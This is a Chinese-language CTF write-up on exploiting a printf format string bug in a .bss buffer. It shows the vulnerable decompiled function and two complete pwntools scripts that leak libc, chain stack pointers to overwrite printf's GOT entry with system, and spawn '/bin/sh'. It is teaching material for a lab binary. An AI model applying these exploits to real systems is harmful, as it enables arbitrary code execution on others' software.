格式化字符串漏洞之bss

当格式化字符串写在栈上时,可以利用 ‘%n$p’ 来泄露 地址 和 canary ,用 ‘%n$hhn’ 根据偏移覆盖地址,改地址

并且此时偏移时很好计算的,用 AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p... 就可以解决


但是,当格式化字符串写在 bss 上时,偏移就不能根据以上方法来计算了

此时得利用栈来当作跳板形成链子,改函数的 got 表,达到劫持效果 ( 前提 : RELRO 保护不为 FULL RELRO )

例题

保护

image-20211122201542735

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_804854B()
{
puts("Please input your password: ");
while ( 1 )
{
s1[read(0, s1, 0x32u)] = 0;
if ( !strncmp(s1, "wllmmllw", 8u) )
break;
printf("This is the wrong password: ");
printf(s1); //格式化字符串漏洞
puts("Try again!");
}
return puts("Login successfully! Have fun!");
}
--------------------------------------------------------------------------------------
.bss:0804B0A0 ; char s1[52]
.bss:0804B0A0 s1 db ? ; DATA XREF: sub_804854B+1B↑o
.bss:0804B0A0 ; sub_804854B+2A↑w ...
.bss:0804B0A1 db ? ;
.bss:0804B0A2 db ? ;
.bss:0804B0A3 db ? ;
.bss:0804B0A4 db ? ;
.bss:0804B0A5 db ? ;
.bss:0804B0A6 db ? ;
.bss:0804B0A7 db ? ;
.bss:0804B0A8 db ? ;
.bss:0804B0A9 db ? ;

存在格式化字符串漏洞,并且写在 bss 段上

漏洞利用

先用以下代码测试一下

1
2
3
4
5
6
7
8
from pwn import*
p = process('./main')

p.sendlineafter(':','name')
p.recvuntil(':')
gdb.attach(p)
p.sendline('aaaa')
p.interactive()

将断点下在漏洞处,即函数 printf 调用完成后

image-20211122202325535

image-20211122202439521

可以发现偏移为 6 和 10 处可以形成一条链子,我们可以通过 6 来调整位置,再通过 10 来写入我们想写的地址

image-20211122202621272

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import*
context.log_level = 'debug'
p = process('./main')
elf = ELF('./main')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
print(hex(printf_got))

p.sendlineafter(':','name')
p.recvuntil(':')
pay = '%12$p'
p.sendline(pay)
p.recvuntil(':')
libcbase = int(p.recv(12),16)-2132336-0x40
print(hex(libcbase))
system = libcbase + libc.sym['system']
print("system: " + hex(system))
p.recvuntil('!')
p.sendline('%6$p')
p.recvuntil(':')
leak_6 = int(p.recv(12),16)
print "6: " + hex(leak_6)
p.recvuntil('!')
p.sendline('%10$p')
p.recvuntil(':')
leak_10 = int(p.recv(12),16)
print "10: " + hex(leak_10)
p.recvuntil('!')
pay = '%' + str(0x14) + 'c'+ '%10$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 1) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0xb0) + 'c'+ '%10$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 2) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x04) + 'c'+ '%10$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 3) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x08) + 'c'+ '%10$hhn'
p.sendline(pay)
##########
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 4) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x15) + 'c'+ '%10$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 5) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0xb0) + 'c'+ '%10$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 6) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x04) + 'c'+ '%10$hhn'
p.sendline(pay)
pay = '%' + str((leak_10 & 0xff) + 7) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x08) + 'c'+ '%10$hhn'
p.sendline(pay)
###########

p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 8) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x16) + 'c'+ '%10$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 9) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0xb0) + 'c'+ '%10$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str((leak_10 & 0xff) + 10) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x04) + 'c'+ '%10$hhn'
p.sendline(pay)
pay = '%' + str((leak_10 & 0xff) + 11) + 'c'+ '%6$hhn'
p.sendline(pay)
p.recvuntil('!')
pay = '%' + str(0x08) + 'c'+ '%10$hhn'
p.sendline(pay)

p.recvuntil('!')
pay = '%' + str((system & 0xff)) + 'c'+ '%14$hhn'
pay += '%' + str(((system>>8)&0xff)+0x20) + 'c'+ '%15$hhn'
pay += '%' + str(((system>>16)&0xff)+0x6e) + 'c'+ '%16$hhn'
#gdb.attach(p)
p.sendline(pay)
p.recvuntil('!')
p.sendline('/bin/sh\x00')
p.interactive()

还有一种是双字节写入,原理是一样的,更快一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*
p = process('./login')
#p = remote('')
elf = ELF('./login')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

p.sendlineafter(':','name')
p.recvuntil(':')
pay = '%6$p %12$p'
p.sendline(pay)
p.recvuntil(':')
stack = int(p.recv(12),16)
print("stack:"+hex(stack))
libcbase = int(p.recv(10),16)-(0xf7f77970-0xf7d6e000)
print("libcbase:"+hex(libcbase))
system = libc.sym['system']+libcbase
printf_got = elf.got['printf']
print("printf_got:"+hex(printf_got))


pay = '%'+str((stack-0x4)&0xff)+'c%6$hhn'
p.sendline(pay)
pay = '%'+str(printf_got&0xff)+'c%10$hhn'
p.sendline(pay)

pay = '%'+str((stack-0xc)&0xff)+'c%6$hhn'
p.sendline(pay)
pay = '%'+str((printf_got+2)&0xffff)+'c%10$hn'
p.sendline(pay)
gdb.attach(p,'b*0x080485AF')

s1 = system&0xffff #low
s2 = (system>>16)-s1 #high
print(hex(s1)+','+hex(s2))
pay = '%'+str(s1)+'c%9$hn'+'%'+str(s2)+'c%7$hn'
p.sendline(pay)

p.sendline('/bin/sh')
p.interactive()